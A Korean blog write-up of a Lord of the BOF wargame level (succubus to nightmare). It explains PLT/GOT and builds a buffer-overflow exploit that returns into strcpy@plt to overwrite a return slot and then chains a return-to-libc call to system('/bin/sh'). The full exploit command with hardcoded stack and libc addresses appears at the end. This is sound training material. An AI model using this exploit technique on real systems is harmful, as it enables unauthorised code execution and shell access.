본문 바로가기
Security/Pwnable

LOB Level 18 succubus

by J0DEV 2021. 8. 10.
반응형

succubus -> nightmare 로 접속합니다.

plt라는 힌트와 함께

 

흠?

 

ret 부분에 strcpy 의 주소가 들어가야 하네요

 

우선 plt에 대해서 공부하면

 

 

PLT(Procedure Linkage Table)

PLT는 일종의 실제 호출 코드를 담고 있는 테이블로써 이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 됩니다.. 

 

GOT(Global Offset Table)

GOT는 PLT가 참조하는 테이블로써 프로시져들의 주소를 가지고 있습니다. PLT가 어떤 외부 프로시져를 호출할 때 이 GOT를 참조해서 해당 주소로 점프하게 됩니다.

 

 

 

 

한마디로 strcpy가 실행되는 것 같습니다.

 

strcpy 구조
char * strcpy ( char * destination, const char * source );

source 를 destination 으로 복사한다.

 

 

그렇다면 이제 이해가 갑니다.

 

RET주소를 현제 strcpy 의 plt 주소로 설정해야만 합니다.

 

그렇다면 strcpy 함수 호출이 끝난 후에 ret 는

 

기존의 ret 주소에 있던 strcpy 함수 주소 뒤의 4바이트로 인식합니다.

 

현재 이 프로그램을 보면 AAAA를 RET로 인식하겠군요

 

strcpy를 이용해서 AAAA에 원하는 주소를 삽입하면 됩니다.

 
 

 

 

 

여기서 공격 페이로드를 생각해보면

argv[1] : buffer + sft + ret(&strcpy) + 4byte + des + src
argv[2] : (rtl) system + 4byte + /bin/sh

 

이렇게 해서

buffer + sft + &strcpy + AAAA + &AAAA + &argv[2] 가 되겠군요

 

 

우선 argv[2]와 AAAA의 주소를 알기위해 소스코드를 살짝 수정합시다.

 

 

 

 

buffer 0xbffffa30 + 48 하면 0xbffffa60

 

argv[2] : 0xbffffbf1 이지만 복사한 파일이라서 이름이 살짝 다르므로

 

0xbffffbef~0xbffffbf3 정도 까지 순서대로 입력해보면

 

 

익스플로잇 성공

 

./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"AAAA"+"\x60\xfa\xff\xbf"+"\xf3\xfb\xff\xbf"'` `python -c 'print "\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
반응형

'Security > Pwnable' 카테고리의 다른 글

LOB Level20 xavius  (0) 2021.08.10
LOB Level 19 nightmare  (0) 2021.08.10
LOB Level 17 zombie_assassin  (0) 2021.08.10
LOB Level 16 assassin  (0) 2021.08.10
LOB Level 15 giant  (0) 2021.08.10